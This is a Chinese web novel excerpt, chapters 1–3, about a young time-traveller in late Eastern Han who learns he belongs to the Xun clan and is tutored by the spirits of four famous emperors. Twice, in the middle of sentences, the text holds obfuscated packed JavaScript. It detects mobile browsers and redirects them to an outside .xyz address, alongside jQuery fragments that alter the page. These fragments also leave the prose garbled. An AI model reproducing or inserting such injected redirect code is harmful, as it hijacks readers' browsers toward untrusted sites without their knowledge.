《[三国]穿越后成为明君预备役》 1. 朕本布衣 * 朔风吹雪,入目尽是萧条。 篱笆墙环绕的农舍坐落在田野之间,附近人烟稀少,放眼望去只有这么一户人家。 约莫舞象之年的少年郎坐在冬雪覆盖的田埂上,呆愣愣的好像被雷劈了一样,整个人就是个大写的“懵”。 他叫荀晔,是个赶上潮流尾巴的穿越者,来到这个世界已经六年,也可能是十六年,总之就是来到这个世界已经很多年。 家里他和他爹两个人相依为命,虽然不愁吃穿,但是条件也没好哪儿去,和那些穿越后醉卧美人膝醒掌天下权的龙傲天没法比。 据他爹说他小时候就像没有魂儿的人形壳子,迟迟学不会走路也一直不曾开口说话,任旁人怎么逗弄都没反应,要不是喂饭的时候知道咽怕是都养不活。 幸好老天不肯收他,一场高烧把他那离身出走多年的魂儿给烧了回来,如此才有现在这个吃嘛嘛香身体倍儿棒的他。 家里只有几亩薄田,平时也没有什么来往的亲戚,他一直以为这是个太平安稳的种田文世界。 他爹清俊优雅君子端方,一身布衣也掩盖不了气质卓然,再加上书房里那些晦涩难懂的书,兴许还能再加点儿科举朝堂元素。 经过这几年的观察,他觉得他已经发现了世界的真相。 美人爹是个隐世不出的大佬,年轻时惊才绝艳权倾朝野,见多了勾心斗角尔虞我诈后对朝堂彻底失望,于是急流勇退找个山清水秀的地方隐居。 合情合理合逻辑,不然他实在想不明白他博通经籍学贯古今的旷世奇才美人爹为什么要在山沟沟里种地。 隐居有风险,为了美人爹能不被强行出山,他拿回四肢的指挥权后就努力锻炼身体,冬练三九夏练三伏,短短几年时间便文能写大字武能抓兔子,堪称新一代二十四孝好儿子。 身为外貌协会资深会员,他骄傲! 荀晔丝滑的接受穿越的事实,用聪明的脑袋瓜推出家中情况,然后全身心投入从来没接触过的古代新生活,立志当好古代社会的边角料。 美人爹就该在书房看书写字,种地这种粗活儿交给当了好多年拖油瓶的儿子就行。 养儿子是为了什么?当然是为了孝敬爹! 他学种菜学耕地学打猎,从刚清醒过来时手脚都不听使唤到现在上山下水健步如飞,时刻为继承家里的几亩薄田准备着。 万一哪天美人爹想出山“为往圣继绝学,为万世开太平”,他还能留在山沟沟里守家业。 种地怎么了?种地也有大学问! 实在不行的话,他也不是不能和美人爹一样闯“农家子的朝堂青云路”赛道。 父亲如此优秀,生出来的儿子肯定不会差。 万万没想到他的推理从一开始就是错的。 美人爹隐居的确是因为朝堂乌烟瘴气,却不是他以为的那种乌烟瘴气。 东汉末年宦官外戚交替当政,还有两次有名的党锢之祸,和他设想中的文臣勾心斗角武将野心勃勃皇帝年幼无知摄政王大权独揽完全不一样。 他最初的设想是太平祥和的种田生活,眨眼间却变成了汉末群雄逐鹿,这合理吗? 乱世白骨露於野千里无鸡鸣,和太平祥和没有半毛钱的关系。 要问他为什么终于发现身处汉末,事情还要从今天上午说起。 快雪时晴,天清气朗,正是出门走亲访友的好天气,连坐落在山沟沟里的他们家也来了客人。 身为热情好客的种花家成员,他们家也未能免俗,接待亲友时小辈得出去喊人。 嗯,来做客的从叔名叫荀彧,那个“他忘不掉荀彧那双忧郁的眼睛”的荀彧。 怎么会是汉末三国呢? 寒风瑟瑟,荀晔神情恍惚坐着,怎么看怎么像是被雷劈了。 他知道美人爹叫荀悦,知道他们家在颍阴县高阳里,知道外面世道不太平,但是也没人和他说他们家的“荀”是颍川荀氏的“荀”啊。 也是,美人爹一直觉得他傻乎乎,连种地的活儿都是靠硬抢才抢到手的,没有人会和一个傻了十来年的半大孩子说高深的政局动荡,他能知道今年是中平六年已经很不错了。 可古代那么多皇帝那么多年号,他根本不知道中平六年是哪一年。 怪他见识少,他要是知道中平是汉朝末年的年号不就没这事儿了。 所以现在历史的车轮碾到哪儿了?他还能安心在山沟沟里种田吗?有没有人能给他讲讲外头到底发生了什么? 【滴——】 【专注帝王教育,打造贤主明君,千古一帝辅导班竭诚为您服务。】 荀晔:??? 荀晔:!!! 什么鬼?!! 荀晔吓的从田埂上蹦起来,完全没听清忽然冒出来的声音说的是什么,拎起旁边的树枝上看下看左看右看,确定四面八方除了他连只兔子都没有后寒意直接从脚底窜到头发丝儿,“谁?” 低哑的声音自身后幽幽传来,“当~然~是~鬼~咯~” 荀晔噗通噗通心都要跳出来了,转身闭上眼睛哗啦啦一通乱打,“呔!何方妖孽!” 妖孽没有打出来,地上的积雪倒是被打的纷纷扬扬。 零星雪花之中,四道虚影悄然显形。 李世民一手扶额,“你多大了还欺负小孩儿?” 刘彻双手抱臂,“要打天下的人怎么能被吓着,还是吓的少了。” 嬴政瞥了他们一眼,淡淡开口,“聒噪。” 赵匡胤摸摸鼻子,落到地面上当自己不存在。 荀晔下意识后退,“你们……” 【滋……滋……滋啦……】 电子音夹杂着滋啦滋啦的噪音,卡了好一会儿终于把后面的话卡了出来。 【导师团队:秦始皇嬴政、汉武帝刘彻、唐太宗李世民、宋太祖赵匡胤。】 四位帝王的衣着风格鲜明,一眼就能分辨出他们的身份。 荀晔看着不知道从哪儿飘出来的几位大佬,感觉身心都被残酷的现实刮的四面漏风。他身上没有戒指也没有玉佩,为什么会有金手指老爷爷找过来? 秦皇、汉武、唐宗、宋祖?背书呢?怎么不把成吉思汗一起弄来? 就是说,这个汉朝正经吗? 但凡换个时候让他看到这几位大佬他都能兴奋的围着人家打转,偏偏他刚才知道所处的时代是东汉末年。 还嫌他受到的刺激不够大吗? 刘彻绕着一脸麻木的少年郎转了几圈,颇有兴趣的逗弄道,“怎么不说话?刚才喊妖孽的气势哪儿去了?” 接下来要打的可是他老刘家的江山,胆量不大可不行。 荀晔移开目光,自欺欺人的表示:穿越这么离谱的事情都能发生,秦皇汉武唐宗宋祖齐齐出现在他面前也很正常。 冷静,淡定,没什么奇怪的。 ……个鬼啊! 李世民将刘彻挤开,很好脾气的说道,“别怕,我们的身份你已经知道,这个世界只有你能看到我们,我们也伤不了你。” 赵匡胤在田埂上坐下,有条不紊的建议道,“或许我们得先解释一下现在的情况。” 荀晔深吸一口气,然后重重点头,“赵陛下说的对。” 他今天已经懵了很多次,还有什么雷请一次性劈完,不要在他刚调整好心态的时候劈。 他只是一个普普通通的穿越者,不要这么伤害他。 嬴政只是高冷的离地飘着,看上去并没有开口说话的意思,刘彻和李世民说着说着开始拌嘴,于是介绍情况的重任落到了赵匡胤身上。 事情其实很简单,就是方才系统介绍的那样,他们是千古一帝辅导班的导师,本来应该在十多年前出现,不料系统出了故障,一不小心就变成了现在这般。 荀晔想想刚才那【滋……滋啦……】半天才把导师团队卡出来的电子音,心道:卡成这样不出故障才怪。 问题是,他何德何能?辅导班为什么会找上他?他看上去很像千古一帝吗? 莫名其妙被绑定的倒霉蛋发出来自灵魂的质问,刘彻上上下下来回打量了好几遍,然后非常诚实的回道,“抱歉,没看出来。” 荀晔:??? 气到原地升天.jpg “他在胡说八道,不要当真。”李世民对刘彻这性子也是服了,初来乍到好好说话就是,老欺负人干什么,“虽然辅导班系统总是出故障,但是选人从来没错过。” 不是哄小孩儿,是事实如此。 往最坏处想,就算系统真的选错了人,他们四个一起教还能教不出个好皇帝? 放宽心,别有压力,谁都不是生下来就会当皇帝,慢慢学就是了。 当帝师和当皇帝完全不一样,好不容易商量好怎么从零开始教导奶娃娃,结果奶娃娃眨眼间就变成了十六七岁的少年郎。 他们四个都养过孩子,知道这个年纪的臭小子调皮捣蛋桀骜不驯,要是运气不好再碰上个性子拧巴的,那完了,这辈子爷儿俩就拧巴去吧,稍不留意就会处成仇人。 趁现在孩子没开始叛逆先处好关系,别等到要叛逆了才无能狂怒。 荀晔不知道大佬们心里是怎么想的,大概受的刺激太多已经麻木了,对着四个大佬皇帝也紧张不起来,“李二陛下,你有没有听过‘一个和尚抬水喝,两个和尚挑水喝,三个和尚没水喝’的故事?” 以他浅薄的认知,他感觉四个大佬同时教的效果不一定有专门一个大佬教的好。 一个大佬想怎么教就怎么教,教不好也没法推卸责任。四个大佬同时教,且不说平时会不会吵架,万一真的没教好责任归谁?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858481|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这辅导班谁搞出来的?看样子不光没学过教育还没学过管理,再强大的师资也不能这么祸祸。 李世民摊手,“那也没办法,只能你努力上进,别让我们几个有推卸责任的机会。” 荀晔深吸一口气,表情仿佛要裂开,“靠我?您认真的?” 李二陛下在赵匡胤旁边坐下,“认真的。” 荀晔:…… 那个系统明显超出正常范畴,大佬们已经冒出来估计短时间内也不会走,纠结太多没有意义,不如先问问现在该怎么办。 屋里正在和他爹说话的荀彧叔刚说了“颍川四战之地不宜久留”,没有意外的话世道马上要乱,他看过很多三国题材的电视剧不假,可电视剧不会教他怎么在乱世生存,更不会教他当什么千古一帝。 千古一帝,这词儿用来形容眼前几位还行,放他身上怎么看怎么违和。 陛下们,教学是零基础从头教吗? 嬴政垂眸,“先说说现在的情况。” 荀晔打起精神自我介绍,“我叫荀晔,我爹叫荀悦,这儿是颍阴县高阳里,目前还算太平。” 刘彻绕过高冷的始皇陛下飘下来,“崽,现在是哪一年?” “中平六年。”荀晔指指不远处的农舍,“我堂叔荀彧正在屋里和我爹说话,听他的意思外面马上要乱,所以现在应该还没到他辅佐曹操打天下的时候。” 几位陛下点点头,“继续。” “后面没有了。”荀晔瞬间泄气,“我连中平六年具体是哪一年都不知道,问我还不如问院子里的车夫。” 他没夸张,荀家的车夫知道的真的比他多。 刘彻啧了一声,“你这十来年都在干什么?” “隐居,和我爹一起当世外高人。”荀晔不好意思的挠挠头,然后站起来颇为自豪的显摆道,“看到周围的良田了吗?那是我为陛下们耕出来的江山。” 放眼望去,远处是起起伏伏的矮山,河水自山间蔓延而来又缓缓流走,野道两旁是整整齐齐的农田,全部都是他这些年努力的成果。 陛下们愣了一下,连话最少的始皇帝都没能绷住,“都是你种的?” 荀晔骄傲点头,“都是我种的。” 李世民捏捏眉心,好一会儿才勉强找出一个可以夸的点,“体力不错,是个习武的好苗子。” 荀晔笑的开心,“我爹也是这么说的。” 他小名叫阿牞,就是那个力气很大的牛的“牞”。 美人爹最开始给他取这个小名是想让他和牛犊一样壮实,毕竟他小时候那情况不太好形容,长大后想靠脑子吃饭希望不大,能力大如牛也算是条活路。 这几年发现他一天天的浑身都是使不完的牛劲,美人爹偶尔也会调侃说是他名字取的好。 几位陛下安静了一会儿,决定放过什么都不知道的农家小伙儿,他们自己来分析外面的情况。 中平六年,知道这个时间点对他们来说已经足够。 这年四月汉灵帝刘宏病逝,皇子刘辩继位改元光熹,八月诛灭宦官后改元昭宁,之后董卓入京,刘辩被废为弘农王,后被毒杀,之后皇子刘协继位改元永汉。 地上积雪颇深,想来快到年底。 这年的年底朝廷又废除光熹、昭宁、永汉三个年号仍为中平六年,所以即便小憨憨不知道中间换了那么多个年号也没说错。 年号换来换去没什么值得留意的,需要留意的是董卓入京。 如今董卓刚入京没多久,洛阳城还没有被焚毁,不管天下怎么乱,世家大族都有法子保全自身。 就像这小憨憨的爹,找个山清水秀的地方隐居就行。 直到董卓入京,那个被世家蔑视的凉州武夫不按常理行事,短短数日便以血腥手段彻底摧毁朝廷的权威,由此也拉开了汉末乱世的序幕。 连年战乱加上天灾,汉末几十年人口锐减,还没安稳几年又来了个五胡乱华,他们来到这里的最终目的不是将小憨憨推上高位,而是尽可能减少百姓的伤亡,顺便培养出一个英明神武的皇帝来。 荀晔乖乖的蹲在旁边听大佬们讨论,听着听着忽然听出了点意思。 当老师和当爹是两种心态,教学生随随便便教了就完事儿了,学生学的不好是学生朽木不可雕,当爹不一样,那是真正的掏心掏肺。 听几位陛下的意思,学生没学好当老师的估计要引咎自尽,四个人都得拿出压箱底的本事来教。 这哪儿是导师?这是从天而降的金大腿啊! 小憨憨一拍脑袋恍然大悟,当即单膝跪地,郑重其事的喊道,“义父在上,请受孩儿一拜!” 陛下们:??? 荀晔对上四双疑惑的眼睛,反应过来认干爹也要雨露均沾,于是连忙改口,“四位义父在上,请受孩儿四拜!” 2. 董卓乱政 * 一声“义父”喊出来,四位陛下的表情都僵住了。 他们想过这小子调皮捣蛋拧巴叛逆,想过这小子把他们当妖魔鬼怪避之不及,唯独没想过现在这种场面。 义父?还四位义父?你吕布附体啊? 荀晔不觉得拜义父有问题,吕布能拜义父他为什么不能? 人活着不要太较真,矜持不能当饭吃,抱大腿没有错,他和吕布唯一的区别就是他的义父足够靠谱。 陛下们:…… 想撬开这小憨憨的脑袋瓜看看里面到底装了些什么。 冷风卷过田埂,风声显得周围越发安静。 四个皇帝你看看我我看看你,都看出了对方眼中明晃晃的“你儿子”三个大字。 为了不互相伤害,几位默契的都没有开口。 李二陛下被投出去看孩子,剩下三位继续商量怎么让小憨憨从零开始打天下。 从零开始,丝毫没有夸张。 他们几个没有实体,也不能时时刻刻跟在小憨憨身边保驾护航,将来所有的事情都得靠小憨憨自己。 黄巾之乱余波尚在,乱世之中想自保尚且不易,没兵没马没地盘就是俎上鱼肉任人宰割。 招兵买马得有家资有名望,小憨憨家资名望都没有,实在让人无从下手。 且不说暂时不能借颍川荀氏的声望,就算能借,荀氏如今还不是魏晋时在政坛上有举足轻重地位的荀氏,一个小辈又能借用多少? 金边银边草肚皮,他们的情况在这儿摆着,想稳打稳的积攒实力不能留在中原。 刘彻搓搓下巴,“感觉系统这次组错队了,不应该点宋太祖,应该点明太祖。” 明太祖朱元璋乞丐出身,从一无所有的乞儿崛起为一国之君,还有后来的驱除鞑虏恢复中华,忽略其中无关紧要的小细节,小憨憨要走的路线和他几乎一模一样。 赵匡胤忍了又忍,最终还是没忍住指指自己,“那我走?” 旁边,听到他们对话的荀晔一脸严肃的掰扯他和朱元璋的不同之处,“首先,我爹还活着;其次,我爹还活着;最后,我爹还活着。” 被打发来看孩子的李二陛下:…… 好好好,知道你爹还活着,不用这么强调。 荀晔哼了一声,他小人不记大人过,不和不会说话的家伙计较。刚才是几位陛下问,现在该轮到他来提问题了,“陛下,你们是哪儿来的?” 李世民想了想,回道,“解释起来太复杂,过。” “不能过不能过。”荀晔睁大眼睛,“您可以长话短说,但是不能不说。” 虽然金手指是天上掉下来的,但是好歹给个使用说明,他要求不高,能弄明白现在到底是什么情况就行。 他这儿的情况勉强算是清楚了,陛下们呢?陛下们从哪儿来?为什么要教导他?平时干什么?能神魂附体吗?能呼风唤雨撒豆成兵吗?能凭空召唤百万大军吗? 别的不说,他还挺期待始皇帝召唤兵马俑的。 实在不行的话,拎上武器冲锋在前也行,他记得李二陛下和赵大陛下都是难得的猛将,以后出门是不是不用担心遇到流匪了? 李世民:??? 天还没黑做什么白日梦? 李二陛下微笑着现学现用,“首先,我们没有实体;其次,我们没有实体;最后,我们没有实体。” 重要的事情说三遍,他们四个只负责教学生,其他的什么都不能指望。 荀晔眨巴着清澈的大眼睛,“所以才需要陛下讲一讲什么能指望什么不能指望,要是好不容易得来的义子因为对义父的期望值过高而在作死的边缘反复横跳然后一不小心真死了那多亏啊。” 李世民感觉手心发痒,要不是没法接触非得给这臭小子一个脑瓜崩不可。 见到他们后询问他们的来历是合理需求,为什么合理需求从这小子嘴里说出来就那么欠揍呢?是他刚才借口解释起来太复杂直接过的报应吗? 李二陛下在旁边坐下,长话短说给充满好奇心的小憨憨讲【千古一帝辅导班】的来历。 他们是被执念聚到一起的魂魄,帝王辅导班里的导师不只他们,聚集地也不只有帝王辅导班,无数平行世界中总会有无法割断的深重执念,他们来到这个世界求的就是改变的可能。 这里的世界线先有汉末乱世水深火热,再有五胡乱华生灵涂炭,短短两百多年中原大地便添了亿万亡魂。亿万亡魂念力庞大,这才有他们此行。 这不是他们第一次带学生,也不会是最后一次,所以刘彻对汉家江山不姓刘接受良好,有时候甚至看热闹不嫌事儿大专门给姓刘的找麻烦。 荀晔若有所思,“也就是说,那些亡于乱世的百姓都觉得,如果有个您几位这样的千古一帝力挽狂澜,他们就能过上没有战乱纷扰的太平日子?” 李世民点点头,“可以这么说。” 武德充沛换句话说也能叫穷兵黩武,他承认他们几个治理下的百姓都没有躲过战乱,但是朝廷强大的好处也显而易见,只要后辈君主与民休息,百姓便能安居乐业。 百姓看不到的地方有那么多内忧外患,朝廷哪儿能永远不打仗? 荀晔托着脸听着,没说好也没说不好。 百姓的愿望很简单,能有吃有穿平安度日就行,哪怕吃糠咽菜衣弊履穿,只要能活下去就不会生乱。 时代的局限性在这儿摆着,就是清朝的百姓也说不出没有皇帝会更好的话,何况汉朝。终生笼罩在战乱阴影下的百姓祈求上天赐予他们一个能让他们过上太平日子的好皇帝再正常不过。 不说土生土长的百姓,就说他自己。 他穿越过来那么多年,习惯了这里的生活后也下意识的希望能有个勤政爱民的好皇帝治理天下,而不是上来就嚷嚷嘎了皇帝解散朝廷重开日月换新天。 李世民简单将情况介绍完,然后又说道,“他们三个正在商量接下来要怎么做,不过不管接下来要干什么,你的课业都不能荒废。” 天下将乱,世家大族尚且逃不过说灭亡就灭亡的命运,寻常百姓的生活更没有保障,可能一小伙流匪就能将整个村子杀戮殆尽。 荀彧已经来劝荀悦搬家说明颍川很快要乱,臭小子日出而作日入而息的稳定生活马上要告一段落,但是不妨碍他们四个展开教学。 现在说打江山还太早,但是不影响他们从现在开始做准备。 乱世开国,最重要的就是能打。 要当一个能服众的好老大文韬武略都不能有短板,不然底下人凭什么死心塌地的追随? 由于系统故障他们已经迟了很多年才见面,前面落下的功课要等摸过底后再决定要不要补,反正从今天开始,只要没有意外,每天至少要有一个时辰来学习。 荀晔:!!! 刚才还是深沉的满目疮痍生灵涂炭,怎么一下子换到教育频道了? “陛下,没有休息日吗?” 一天一个时辰看上去很好接受,睡前腾出来俩小时就行,可他还有他爹布置的功课,不能没有休息日啊。 虽然他和他爹在山沟沟里隐居种地,但是读书写字之类的功课在他找回丢失的魂儿后一个都没能逃过去。 没办法,美人爹可以接受一个先天不足的傻儿子,但是不能接受正常的儿子是文盲。 想摆脱“文盲”的头衔不光要能认字,还要在别人说话的时候能听懂典故,在看文章的时候能理解那些化用、借景抒情、以古讽今等各种用法。 如果拿到一篇文章后每个字都认识但是看不懂文中真意,不好意思,依旧是文盲。 他已经不是文盲了,所以完全可以拥有休息日。 “上课的前提是没有意外,乱世将至,你觉得没有意外的日子会很多?”李二陛下叹气,“而且我们几个时间有限,今天是第一次见面才一起出来,以后没有大事就是谁上课谁来找你,有可能每天都有人出现,也有可能好些天一个都见不着。” 别问为什么,问就是信号不好接触不良。 以后颠沛流离居无定所是常态,说是每天抽出来一个时辰,可奔波打仗哪管那么多,十天里能有五天作息正常都是难得,还强求什么休息日? 荀晔听的倒吸一口凉气,“怎会如此?” 难怪一下子给了他四个义父,原来是金手指不稳定,即便有金手指的加持他创业未半中途就嘎的可能依旧很大。 那么问题来了,他现在什么都没有,要拿什么打天下? 还有就是,他们家美人爹纯正端方,平日里著书立说尊崇儒家的君臣之道,他要敢说什么逐鹿中原称王称霸这个家就别想要了。 轻则说之以情晓之以理,重则断绝父子关系。 说汉武帝托梦让他拯救汉室江山?他敢说也得有人信才行。 从零开始打天下已经很难,他不能为了义父放弃亲爹。 正说着,那边已经说完正事的亲爹便出现在门口。 荀晔拍掉身上沾的雪,将如何解决家庭问题交给新鲜出炉的义父们,然后乐滋滋跑回去找亲爹,“阿父!” 李世民看着小憨憨屁颠屁颠奔赴亲爹的怀抱,不知道为什么感觉有点像看到肉骨头的小狗,“啧,义父和亲爹还是没法比。” 始皇陛下面色如常,只是飘远了点儿假装谁也不认识。 刘彻伸了个懒腰站起来,听到李世民说话就想怼两句,“这就以义父自居了?” “他敢喊我为什么不能应?”李二陛下理直气壮,而且上道极快的雨露均沾,“淡定,大家都是义父。换个角度想,成大事者不拘小节,咱儿子这脸皮就很有成大事的气度。” 旁边三位:…… 帝王们一边说话一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858482|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘去院子,仗着凡人看不到他们肆意打量周围的环境。 农舍虽小却五脏俱全,因为周边没有人家,所以篱笆院子圈的很大,父子俩还在里面开了几块菜地。 院子里的菜地和外面的农田一样整整齐齐,一看就是那小憨憨的杰作。 刘彻靠在篱笆墙上,看到小憨憨的美人爹后煞有其事的赞道,“果然是美姿容。” 其他三位表情微妙,“……君有疾否?” 荀悦对家中多了几位特殊成员之事一无所知,抬手将儿子招至跟前温声道,“你叔父马上要离开,过来和他告个别。” “三日之后便会再见,何须告别?”温润如玉的青年自院中缓步而出,笑意盈盈令人如沐春风,“多年未见,兄长风采依旧,阿牞却变化颇多。” 兄弟二人已经达成共识,荀彧的心情比来时轻快许多,也能放松下来调侃几句。 他这些年先在郡中担任主簿,后又被举孝廉至洛阳任守宫令,上次和兄长见面时这孩子还是个没有人气儿的木偶,当时收到兄长来信说这孩子回魂痊愈他也跟着高兴了好些天。 兄长不爱和人交往,只喜欢一个人在家看书钻研学问,搬到这里隐居也就罢了,还不要家里送来的婢女仆从。 幸好身边还有个孩子陪着,不然总是一个人待着实在让人放心不下。 荀晔是个资深颜控,面对美人脾气超好,听到美人叔父的话骄傲挺胸,“阿父教的好。” “我们阿牞也好。”荀悦忍俊不禁,先夸夸眼睛亮晶晶的儿子,然后才又说道,“天色不早,文若路上小心。” 他这儿房间不多,平日里也没有待客的需求,便是想留宿也没有客房。 荀彧拱手一礼,没有过多寒暄,等车夫套好马车便上车离开,“彧先走一步,兄长保重。” 颍川四战之地,局势乱起来后谁都想插一手,继续留在这里太过危险,然而乡人安土重迁者甚多,他弃官归乡四处奔波,却也杯水车薪无济于事。 走一步看一步吧。 乡间野道大多坎坷,架不住荀家阿牞浑身使不完的牛劲,为了逃避读书没活儿也能找活儿,门口的乡间小路在他的维护下早在三年前就比官道还要平坦。 荀悦目送马车走远,面上悄然浮起愁绪,“世道要乱了。” 朝中世族宦官外戚本就争斗不休,如今又来了个不守规矩的西凉武夫。 唉。 荀晔无视院子里存在感极强的帝王F4,小蜜蜂一样催他爹回屋里休息。 寒冬腊月一直待在外面容易冻病,这年头随便什么小病都是不治之症,身体是革命的本钱,能不生病尽量不要生病。 忙碌的小蜜蜂回到屋里熟练的端茶倒水,安排妥当后才在窗边坐下,“阿父,我们要搬家吗?” 荀悦无声叹气,“先去洛阳附近的山里躲几天,之后去哪儿还要看局势。” 董卓入京后纵容麾下将士□□妇女劫掠百姓,前不久又大逆不道行废立天子之事,各州郡讨董之势越发高涨。 现在各州郡的长官只是招兵买马,等到外面开战,以董卓的为人未必不会坚壁清野将洛阳周边的郡县屠戮一空。 颍川地势平坦一马平川,遇到兵贼连躲都没地儿躲,不管将来要去哪儿,总之颍川不能留。 荀晔趴在桌子上闷声闷气说道,“我舍不得。” 把地种那么平整很难的,他还没种够呢。 荀悦也舍不得,可是没办法,他们不能心存侥幸觉得战火烧不到这里。 京中宦官被屠杀殆尽,外戚也所剩无几,看似已是世族一家独大的局面,然而天下世家不只一家。 袁氏想要独揽大权,如此才有董卓狐假虎威肆意妄为,随着时局变幻,如今的天下人已经分不清谁是狐狸谁是虎。 世族之间争权夺利有默认的潜规则,那董卓行伍出身根本不管那么多,他甚至在何太后遗体下葬的时候开了文陵搜刮珍宝。文陵是灵帝的陵墓,这将皇家置于何地? “与虎谋皮,焉有其利?” 荀晔重重点头,“阿父说的对。” 如果没有记错,袁家后来被董卓一锅端了,只有袁绍袁术兄弟俩幸免于难。 金乌西坠,暮色席卷而来,远处隐约有倦鸟归巢。 父子俩对坐聊天,直到天色彻底黑下来才回房休息。 刘彻打了个哈欠,“崽,你和你爹天天在一起,怎么还有那么多话能说?” 从董卓乱政到家长里短,从京中天子到后院鸡鸭,从如何自保到搬家要带什么,说话的不累他听的都累了。 荀晔铺好床收拾妥当准备熄灯,听到刘彻的抱怨眨眨眼,然后看似委婉实际上一点儿也不委婉的反问道,“陛下,您是不是没有和儿子抵足谈心过?虽然我家只有我和我爹俩人,但是我得时刻承欢膝下好让我爹享受天伦之乐。” 3. 唐皇教学 * 淡月疏星,静夜沉沉。 陛下们如出一辙的莫得表情,掀起一阵阴风将烛火吹灭,然后消失的悄无声息。 荀晔摇头晃脑,不错不错,有神出鬼没的感觉了。 感慨完,摸黑钻进被窝,闭上眼睛一夜好眠。 晨曦初露,东方泛起鱼肚白,少年郎早早起床洗漱,收拾好后这边瞅瞅那边看看,试图从犄角旮旯里找到四位义父的身影。 ——义父?义父们?您几位还在吗? 便宜儿子狗狗祟祟的在家像是在做贼,翻腾了好一会儿也没找到哪儿能藏魂。 箱子里没有柜子里没有床底下也没有,难道被他一句话搞的集体破防不肯出来了? 陛下们宽仁大度休休有容,不应该吧? 还是说昨天什么都没有发生,是他梦里看三国背诗词一不小心弄混淆了,实际上没有荀彧来访也没有秦皇汉武唐宗宋祖现世,这里依旧是没有进入科举朝堂戏份的种田背景。 荀晔陷入思索,想来想去想不明白,于是去隔壁屋看他爹在干什么。 美人爹在收拾书简,书架已经空了大半,看来昨天不是做梦。 这辅导班怎么一会儿法力无边一会儿干啥啥不行?这就又没信号了? 李二陛下说系统在很多平行世界都有业务,都跨宇宙的单位了不能又是故障又是信号不稳定的,以前真的没人投诉他们吗? 不过想想这是人家单方面的选择又好像合理了起来,天上不会掉馅饼,被选中的幸运儿拥有新生,需要付出点代价多正常。 能再活一辈子已经是赚来的,义父们靠不住就靠不住吧,本来也没指望金手指老爷爷一露面就能让他摇身变成横扫天下的汉末龙傲天。 他可不是言听计从的乖乖仔,系统让他打天下他就要打吗?讨伐董卓的十八路诸侯他打得过哪个啊? 自知之明是个好东西,希望义父们也不要对他抱有太大希望,他和义父们小时候真的没法比。 荀晔回屋收拾他的行李,一边收拾一边做心理建设,行李收拾好了心理建设也做的差不多了,再出门他还是那个农家小伙儿荀阿牞。 他们三天后才会离开,这几天要用到的东西不能收,还得去附近的村子里将后院的鸡鸭和家里带不走的大件处理掉。 至于院子里的菜地和外面的农田,听天由命吧。 隐居隐居,自然不能离烟火气太近,最近的村寨离他家也有半天的脚程。 种地可以自给自足,但也不能完全与世隔绝,平时家里有什么缺的他们会去村里置办,村里有的就直接买,村里没有的就等村民什么时候去县城采购顺便带回来。 覆巢之下无完卵,战火一旦烧到这里谁都躲不过去。 阿爹说荀彧叔已经和颍阴几个大姓通了消息,同时也在想办法让各村乡老知晓京中乱象,是走是留由村子自己做主,但是即便留下也不能毫无防备的留。 不求他们能短时间内组建出足以抵抗兵匪的民兵护卫队,至少能在出事时拖延出逃跑的时间。 于是乎,三天之后,荀文若派去的人不光接到了他堂哥和他侄子,还接到了和他堂哥侄子一起搬家的庞大队伍。 村民拖家带口、扶老携幼,板车上捆着所有能带的家当,就差把房宅拔起来一起带走了。 荀彧:…… 他连日奔波苦劝才有千余户人家愿意随他离乡,兄长平日不问世事,没想到竟能带来如此惊喜。 颍阴有多少村寨多少户人家他心里有数,没有猜错的话,这是隐居附近的几个村子的百姓都跟来了。 荀晔矜持的扬起笑脸,“阿父说了,艰难时世,不敢独善其身。” 荀悦弯了弯眼睛,“若非阿牞口齿伶俐,阿父也劝不动乡老。” 父子俩看对方时滤镜都有十米厚,要不是人到齐了得马上启程,他们能把对方夸上天。 两方队伍汇合,指挥权交给荀彧,荀悦也没闲着。 父老乡亲信任荀氏才愿意跟随他们离乡,一同离开的还有颍阴别的大族,家族与家族之间要沟通情况,同时还得注意乡亲们的情绪,各家都忙的脚不沾地。 荀晔跟着他爹在几位堂叔面前露个脸,还没来得及多说几句,一扭头连爹带叔就全不见了。 几个大族的成员走在前头,后面是随他们一同离开的乡亲,一眼望去足有上万人。 张角“苍天已死,黄天当立”才过去没几年,各地乱军此起彼伏,这要是不提前打点好走在官道上能把地方官给吓死。 荀晔收回视线,找到家族大本营帮忙推小车。 他们这次的目的地是河南尹密县,虽然离颍阴只有不到两百里,但是地势已经不再是一马平川。 密县到洛阳两百多里,京城生乱短时间内波及不到那里,贼兵作乱的首选之地也不会选离洛阳太近,再加上境内还有鸡洛山、大騩山等山地,可以说是他们避祸的最优选。 队伍里老弱妇孺不在少数,大概得走四五天才能到。 少年郎精力旺盛,推着小车也不耽误他挑人聊天。 没有人能抵抗长得好看热情洋溢嘴还甜的荀阿牞!没有人! 经过这几天的死记硬背,他已经把家庭成员记的清清楚楚,就是没见过真人还对不上。 曾祖父荀淑乃一代名士,以品行高洁著称,具体怎么回事儿呢?他敢指着奸佞权臣的鼻子骂。 然后就被权臣排挤出朝廷,没多久就辞官不干了。 祖父荀俭兄弟八人,时人称之为“荀氏八龙”。 不过虽然祖父兄弟众多,到他爹这一辈家族成员却没有迅速增长,有像祖父一样生一个的,也有早逝无子的,总之给他的背家谱工作降低了不少难度。 话说回来,搬家避难这种事情得悄悄进行,大张旗鼓容易招贼惦记,他们这反其道而行之真的没问题吗? 